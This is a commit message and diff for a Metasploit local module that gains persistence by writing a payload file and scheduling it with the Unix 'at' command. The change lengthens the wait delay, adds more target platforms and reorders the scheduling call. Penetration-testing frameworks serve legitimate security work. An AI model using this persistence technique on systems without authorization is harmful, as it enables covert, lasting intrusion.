Bump default WfsDelay to account for execution at 0s and execution delays

Also, platforms, which I think achieves nothing right now.

modules/exploits/multi/local/at_persistence.rb

@@ -25,7 +25,7 @@ class MetasploitModule < Msf::Exploit::Local
           ],
         'Targets'        => [['Automatic', {} ]],
         'DefaultTarget'  => 0,
-        'Platform'       => ['unix', 'linux', 'osx'],
+        'Platform'       => %w(unix linux osx bsd solaris openbsd bsdi netbsd freebsd aix hpux irix),
         'Arch'           => ARCH_CMD,
         'Payload'        =>
         {
@@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Local
             'RequiredCmd'  => 'generic perl ruby python'
           }
         },
-        'DefaultOptions' => { 'WfsDelay' => 60 },
+        'DefaultOptions' => { 'WfsDelay' => 65 },
         'DisclosureDate' => "Jan 1 1997" # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
       )
     )
@@ -77,8 +77,10 @@ class MetasploitModule < Msf::Exploit::Local
     end
 
     write_file(payload_file, payload.encoded)
-    cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
     register_files_for_cleanup(payload_file) if datastore['CLEANUP']
+
+    cmd_exec("at -f #{payload_file} #{datastore['TIME']}")
+
     print_status("Waiting #{datastore['WfsDelay']}sec for execution")
     0.upto(datastore['WfsDelay'].to_i) do
       Rex.sleep(1)